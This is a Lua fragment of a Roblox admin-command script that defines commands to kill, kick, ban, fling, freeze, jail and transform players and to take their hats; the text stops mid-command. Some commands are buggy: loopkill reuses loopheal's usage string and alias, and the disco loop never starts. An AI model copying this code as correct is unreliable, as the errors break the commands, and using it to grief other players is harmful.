ADD_COMMAND('unsmoke','unsmoke [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character.Torso:GetChildren()) do
if v:IsA('Smoke') then
v:destroy()
end
end
end
end)
ADD_COMMAND('btools','btools [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 2
Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 3
Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 4
end
end)

ADD_COMMAND('god','god [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.MaxHealth = math.huge PCHAR.Humanoid.Health =
PCHAR.Humanoid.MaxHealth
end
end
end)

ADD_COMMAND('sgod','sgod [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.MaxHealth = 10000000 PCHAR.Humanoid.Health =
PCHAR.Humanoid.MaxHealth
end
end
end)

ADD_COMMAND('ungod','ungod [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.MaxHealth = 100
end
end
end)

ADD_COMMAND('heal','heal [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.Health = PCHAR.Humanoid.MaxHealth
end
end
end)

ADD_COMMAND('freeze','freeze [plr]',{'frz'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Anchored = true
end
end
end
end
end)

ADD_COMMAND('thaw','thaw [plr]',{'unfreeze','unfrz'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('Part') then
v.Anchored = false
end
end
end
end
end)

ADD_COMMAND('kill','kill [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character:BreakJoints()
end
end)

ADD_COMMAND('sound','sound [id]',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v:Stop()
v:destroy() end end
if ARGS[1]:lower() ~= 'off' then
local S = Instance.new('Sound', workspace) S.Name = 'song_seth'
S.Archivable = false S.Looped = true S.SoundId = 'rbxassetid://' .. ARGS[1]
S.Volume = 1 S:Play()
end
end)

ADD_COMMAND('volume','volume [int]',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v.Volume
= ARGS[1] end end
end)

ADD_COMMAND('pitch','pitch [int]',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v.Pitch =
ARGS[1] end end
end)

ADD_COMMAND('explode','explode [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Torso') then
Instance.new('Explosion', PCHAR).Position = PCHAR.Torso.Position

end
end
end)

ADD_COMMAND('invis','invis [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 1
end
if v:IsA('Accessory') and v:FindFirstChild('Handle') then
v.Handle.Transparency = 1
end
end
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 1 end
end
end)

ADD_COMMAND('vis','vis [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 0
end
if v:IsA('Accessory') and v:FindFirstChild('Handle') then
v.Handle.Transparency = 0
end
end
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 0 end
end
end)

ADD_COMMAND('goto','goto [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR then
SPEAKER.Character.HumanoidRootPart.CFrame = PCHAR.Torso.CFrame
end
end
end)

ADD_COMMAND('bring','bring [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.HumanoidRootPart.CFrame =
SPEAKER.Character.Torso.CFrame
end
end)

ADD_COMMAND('tp','tp [plr] [plr]',{},


function(ARGS, SPEAKER)
local PLAYERS1, PLAYERS2 = GET_PLAYER(ARGS[1], SPEAKER), GET_PLAYER(ARGS[2],
SPEAKER)
for i,v in pairs(PLAYERS1) do for a,b in pairs(PLAYERS2) do
if _PLAYERS[v].Character and _PLAYERS[b].Character then
_PLAYERS[v].Character.HumanoidRootPart.CFrame =
_PLAYERS[b].Character.Torso.CFrame
end
end end
end)

ADD_COMMAND('char','char [plr] [id]',{'charapp'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].CharacterAppearanceId = ARGS[2]
_PLAYERS[v].Character:BreakJoints()
end
end)

ADD_COMMAND('ws','ws [plr] [int]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.WalkSpeed = tonumber(ARGS[2])
end
end
end)

ADD_COMMAND('time','time [int]',{},
function(ARGS, SPEAKER)
_LIGHTING:SetMinutesAfterMidnight(tonumber(ARGS[1]) * 60)
end)

ADD_COMMAND('kick','kick [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
table.insert(KICKS, _PLAYERS[v])
end
end)

ADD_COMMAND('ban','ban [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
table.insert(BANS, _PLAYERS[v].userId)
table.insert(KICKS, _PLAYERS[v])
UPDATE_BANS()
end
end)

ADD_COMMAND('unban','unban [username]',{},
function(ARGS, SPEAKER)
if FIND_IN_TABLE(BANS, game.Players:GetUserIdFromNameAsync(ARGS[1])) then
table.remove(BANS, GET_IN_TABLE(BANS,
game.Players:GetUserIdFromNameAsync(ARGS[1])))
UPDATE_BANS()
end
end)

ADD_COMMAND('unlockws','unlock',{'unlock'},
function(ARGS, SPEAKER)
local function UNLOCK(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Locked = false
end
UNLOCK(v)
end
end
UNLOCK(workspace)
end)

ADD_COMMAND('lockws','lock',{'lock'},
function(ARGS, SPEAKER)
local function LOCK(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Locked = true
end
LOCK(v)
end
end
LOCK(workspace)
end)

ADD_COMMAND('unanchorws','unanchor',{'unanchor'},
function(ARGS, SPEAKER)
local function UNANCHOR(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Anchored = false
end
UNANCHOR(v)
end
end
UNANCHOR(workspace)
end)

ADD_COMMAND('anchorws','anchor',{'anchor'},
function(ARGS, SPEAKER)
local function ANCHOR(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Anchored = true
end
ANCHOR(v)
end
end
ANCHOR(workspace)
end)

ADD_COMMAND('hsize','hsize [plr] [int]',{'hatsize'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('Accessory') then
for a,b in pairs(v.Handle:GetChildren()) do
if b:IsA('SpecialMesh') then
b.Scale = ARGS[2] * Vector3.new(1, 1, 1)
end
end
end
end
end
end)

ADD_COMMAND('shats','shats [plr]',{'stealhats'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('Accessory') then
v.Parent = SPEAKER.Character
end
end
end
end)

ADD_COMMAND('rhats','rhats [plr]',{'removehats'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid:RemoveAccessories()
end
end
end)

ADD_COMMAND('firstp','firstp [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].CameraMode = 'LockFirstPerson'
end
end)

ADD_COMMAND('thirdp','thirdp [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].CameraMode = 'Classic'
end
end)

ADD_COMMAND('chat','chat [plr] [string]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
game.Chat:Chat(_PLAYERS[v].Character.Head, GLS(false, 1))
end
end)

ADD_COMMAND('name','name [plr] [string]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Name = GLS(false, 1)
end
end)

ADD_COMMAND('unname','unname [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Name = _PLAYERS[v].Name
end
end)

ADD_COMMAND('noname','noname [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Name = ''
end
end)

ADD_COMMAND('stun','stun [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Humanoid.PlatformStand = true
end
end)

ADD_COMMAND('unstun','unstun [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Humanoid.PlatformStand = false
end
end)

ADD_COMMAND('guest','guest [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
_PLAYERS[v].CharacterAppearanceId = 1
PCHAR:BreakJoints()
end
end)

ADD_COMMAND('noob','noob [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
_PLAYERS[v].CharacterAppearanceId = 155902847
PCHAR:BreakJoints()
end
end)

ADD_COMMAND('damage','damage [plr] [int]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Humanoid:TakeDamage(ARGS[2])
end
end)

ADD_COMMAND('view','view [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
workspace.CurrentCamera.CameraSubject = PCHAR
end
end)

ADD_COMMAND('unview','unview',{},
function()
workspace.CurrentCamera.CameraSubject = _PLAYERS.LocalPlayer.Character
end)

ADD_COMMAND('nolimbs','nolimbs [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
local LIMB = PCHAR.Humanoid:GetLimb(v)
if v:IsA('BasePart') and PCHAR:FindFirstChild('Humanoid') and
LIMB ~= Enum.Limb.Unknown and LIMB ~= Enum.Limb.Head and LIMB ~= Enum.Limb.Torso
then
v:destroy()
end
end
end
end)

ADD_COMMAND('box','box [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
local SB = Instance.new('SelectionBox', PCHAR)
SB.Adornee = SB.Parent
SB.Color = BrickColor.new('' .. (ARGS[2]))
end
end)

ADD_COMMAND('unbox','nobox [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('SelectionBox') then
v:destroy()
end
end
end
end)

ADD_COMMAND('ghost','ghost [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 0.5
elseif v:IsA('Accessory') and v:FindFirstChild('Handle') then
v.Handle.Transparency = 0.5
elseif PCHAR.Head:FindFirstChild('face') then
PCHAR.Head.face.Transparency = 0.5
end
end
end
end)

ADD_COMMAND('sphere','sphere [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR=_PLAYERS[v].Character
local SS = Instance.new('SelectionSphere', PCHAR)
SS.Adornee = SS.Parent
end
end)

ADD_COMMAND('sky','sky [id]',{},
function(ARGS, SPEAKER)
if ARGS[1] then
for i,v in pairs(_LIGHTING:GetChildren()) do if v:IsA('Sky') then
v:destroy() end end
local SKIES = {'Bk', 'Dn', 'Ft', 'Lf', 'Rt', 'Up'}
local SKY = Instance.new('Sky', _LIGHTING)
for i,v in pairs(SKIES) do
SKY['Skybox' .. v] = 'rbxassetid://' .. ARGS[1] - 1
end
end
end)

ADD_COMMAND('ambient','ambient [r] [g] [b]',{},


function(ARGS, SPEAKER)
if ARGS[1] and ARGS[2] and ARGS[3] then
_LIGHTING.Ambient = C3(ARGS[1], ARGS[2], ARGS[3])
end
end)

ADD_COMMAND('jail','jail [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if FIND_IN_TABLE(JAILED, _PLAYERS[v].Name) then return end
table.insert(JAILED, _PLAYERS[v].Name)
local PCHAR = _PLAYERS[v].Character
local J = JAIL:Clone() J.Parent = workspace
J:MoveTo(PCHAR.Torso.Position) J.Name = 'JAIL_' .. _PLAYERS[v].Name
repeat wait()
PCHAR = _PLAYERS[v].Character if PCHAR and
PCHAR:FindFirstChild('HumanoidRootPart') and J:FindFirstChild('MAIN') then
PCHAR.HumanoidRootPart.CFrame = J.MAIN.CFrame + Vector3.new(0, 1, 0) end
until not FIND_IN_TABLE(JAILED, _PLAYERS[v].Name)
end
end)

ADD_COMMAND('unjail','unjail [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for a,b in pairs(JAILED) do if b == _PLAYERS[v].Name then
table.remove(JAILED, a) end end
if workspace:FindFirstChild('JAIL_' .. _PLAYERS[v].Name) then
workspace['JAIL_' .. _PLAYERS[v].Name]:destroy() end
end
end)

ADD_COMMAND('animation','animation [plr] [id]',{'anim'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local ID = ARGS[2]
if ARGS[2] == 'climb' then ID = '180436334' end
if ARGS[2] == 'fall' then ID = '180436148' end
if ARGS[2] == 'jump' then ID = '125750702' end
if ARGS[2] == 'sit' then ID = '178130996' end
for a,b in pairs(_PLAYERS[v].Character.Animate:GetChildren()) do
if b:IsA('StringValue') then
for c,d in pairs(b:GetChildren()) do
if d:IsA('Animation') then
d.AnimationId = 'rbxassetid://' .. ID
end
end
end
end
end
end)

ADD_COMMAND('fix','fix [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)

ADD_COMMAND('creeper','creeper [plr]',{'crpr'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
CREEPER(_PLAYERS[v])
end
end)

ADD_COMMAND('uncreeper','uncreeper [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)

ADD_COMMAND('shrek','shrek [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
SHREK(_PLAYERS[v])
end
end)

ADD_COMMAND('unshrek','unshrek [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)

ADD_COMMAND('nuke','nuke [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
if _PLAYERS[v] and PCHAR and PCHAR:FindFirstChild('Torso') then
local N = Instance.new('Part', workspace)
N.Name = 'nuke_seth'
N.Anchored = true
N.CanCollide = false
N.Shape = 'Ball'
N.Size = Vector3.new(1, 1, 1)
N.BrickColor = BrickColor.new('New Yeller')
N.Transparency = 0.5
N.Reflectance = 0.2
N.TopSurface = 0
N.BottomSurface = 0
N.Touched:connect(function(T)
if T and T.Parent then
local E = Instance.new('Explosion', workspace)
E.Position = T.Position
E.BlastRadius = 20
E.BlastPressure = math.huge
end
end)
local CF = PCHAR.Torso.CFrame
N.CFrame = CF
for i = 1,30 do
N.Size = N.Size + Vector3.new(5, 5, 5)
N.CFrame = CF
wait(1 / 44)
end
N:destroy()
end
end)
end
end)

ADD_COMMAND('unnuke','nonuke',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do
if v:IsA('Part') and v.Name == 'nuke_seth' then
v:destroy()
end
end
end)

ADD_COMMAND('infect','infect [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
INFECT(_PLAYERS[v])
end
end)

ADD_COMMAND('uninfect','uninfect [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)

ADD_COMMAND('duck','duck [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
DUCK(_PLAYERS[v])
end
end)

ADD_COMMAND('unduck','unduck [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)

ADD_COMMAND('disable','disable [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.Name = 'HUMANOID_' .. _PLAYERS[v].Name
local humanoid = PCHAR['HUMANOID_' .. _PLAYERS[v].Name]
humanoid.Parent = HUMANOIDS
end
end
end)

ADD_COMMAND('enable','enable [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
return
else
if HUMANOIDS:FindFirstChild('HUMANOID_' .. _PLAYERS[v].Name) then
local humanoid = HUMANOIDS['HUMANOID_' .. _PLAYERS[v].Name]
humanoid.Parent = PCHAR humanoid.Name = 'Humanoid'
end
end
end
end)

ADD_COMMAND('size','size [plr] [int]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
SCALE(_PLAYERS[v].Character, ARGS[2])
end
end)

ADD_COMMAND('clone','clone [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character PCHAR.Archivable = true
local C = PCHAR:Clone() C.Parent = workspace
C:MoveTo(PCHAR:GetModelCFrame().p) C:MakeJoints()
PCHAR.Archivable = false
end
end)

ADD_COMMAND('spin','spin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v.Name == 'SPIN' then
v:destroy()
end
end
local T = PCHAR.Torso
local BG = Instance.new('BodyGyro', T) BG.Name = 'SPIN' BG.maxTorque =
Vector3.new(0, math.huge, 0) BG.P = 11111 BG.cframe = T.CFrame
spawn(function()
repeat wait(1/44)
BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0)
until not BG or BG.Parent ~= T
end)
end
end)

ADD_COMMAND('unspin','unspin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v.Name == 'SPIN' then
v:destroy()
end
end
end
end)

ADD_COMMAND('dog','dog [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
DOG(_PLAYERS[v])
end
end)

ADD_COMMAND('undog','undog [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)

ADD_COMMAND('loopheal','loopheal [plr]',{'lheal'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not FIND_IN_TABLE(LOOPED_H, _PLAYERS[v].Name) then
table.insert(LOOPED_H, _PLAYERS[v].Name)
end
end
end)

ADD_COMMAND('unloopheal','unloopheal [plr]',{'unlheal'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if FIND_IN_TABLE(LOOPED_H, _PLAYERS[v].Name) then
table.remove(LOOPED_H, GET_IN_TABLE(LOOPED_H, _PLAYERS[v].Name))
end
end
end)

ADD_COMMAND('loopkill','loopheal [plr]',{'lheal'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not FIND_IN_TABLE(LOOPED_K, _PLAYERS[v].Name) then
table.insert(LOOPED_K, _PLAYERS[v].Name)
end
end
end)

ADD_COMMAND('unloopkill','unloopkill [plr]',{'unlkill'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if FIND_IN_TABLE(LOOPED_K, _PLAYERS[v].Name) then
table.remove(LOOPED_K, GET_IN_TABLE(LOOPED_K, _PLAYERS[v].Name))
end
end
end)

ADD_COMMAND('fling','fling [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
local X
local Z
repeat
X = math.random(-9999, 9999)
until math.abs(X) >= 5555
repeat
Z = math.random(-9999, 9999)
until math.abs(Z) >= 5555
PCHAR.Torso.Velocity = Vector3.new(0, 0, 0)
local BF = Instance.new('BodyForce', PCHAR.Torso) BF.force =
Vector3.new(X * 4, 9999 * 5, Z * 4)
end
end
end)

ADD_COMMAND('alien','alien [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
ALIEN(_PLAYERS[v])
end
end)

ADD_COMMAND('nograv','nograv [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not _PLAYERS[v].Character.Torso:FindFirstChild('nograv_seth') then
NEW'BodyForce'{Name = 'nograv_seth', Force = Vector3.new(0,
GET_MASS(_PLAYERS[v].Character) * 196.2, 0), Parent = _PLAYERS[v].Character.Torso}
end
end
end)

ADD_COMMAND('grav','grav [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if _PLAYERS[v].Character.Torso:FindFirstChild('nograv_seth') then
_PLAYERS[v].Character.Torso.nograv_seth:destroy()
end
end
end)

ADD_COMMAND('cape','cape [brick color]',{},


function(ARGS, SPEAKER)
spawn(function()
if LP.Character:FindFirstChild('Cape') then
LP.Character.Cape:destroy()
end
if not ARGS[1] then
ARGS[1] = 'Deep blue'
end
CAPE(GLS(false, 1))
end)
end)

ADD_COMMAND('uncape','uncape',{},
function(ARGS, SPEAKER)
if LP.Character:FindFirstChild('cape_seth') then
LP.Character.cape_seth:destroy()
end
end)

ADD_COMMAND('paper','paper [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
PAPER_MESH:Clone().Parent = v
end
end
end
end)

ADD_COMMAND('punish','punish [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Parent = nil
end
end)
ADD_COMMAND('unpunish','unpunish [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Parent = workspace
end
end)

local DISCO = false

ADD_COMMAND('disco','disco',{},
function(ARGS, SPEAKER)
DISCO = true
if not DISCO then
spawn(function()
repeat wait(1) _LIGHTING.Ambient = C3(math.random(),
math.random(), math.random()) until not DISCO
end)
end
end)

ADD_COMMAND('undisco','undisco',{},
function(ARGS, SPEAKER)
DISCO = false
end)

ADD_COMMAND('team','team [plr] [team]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for a,b in pairs(game.Teams:GetChildren()) do
if string.lower(b.Name) == GLS(true, 1) then
_PLAYERS[v].Team = b
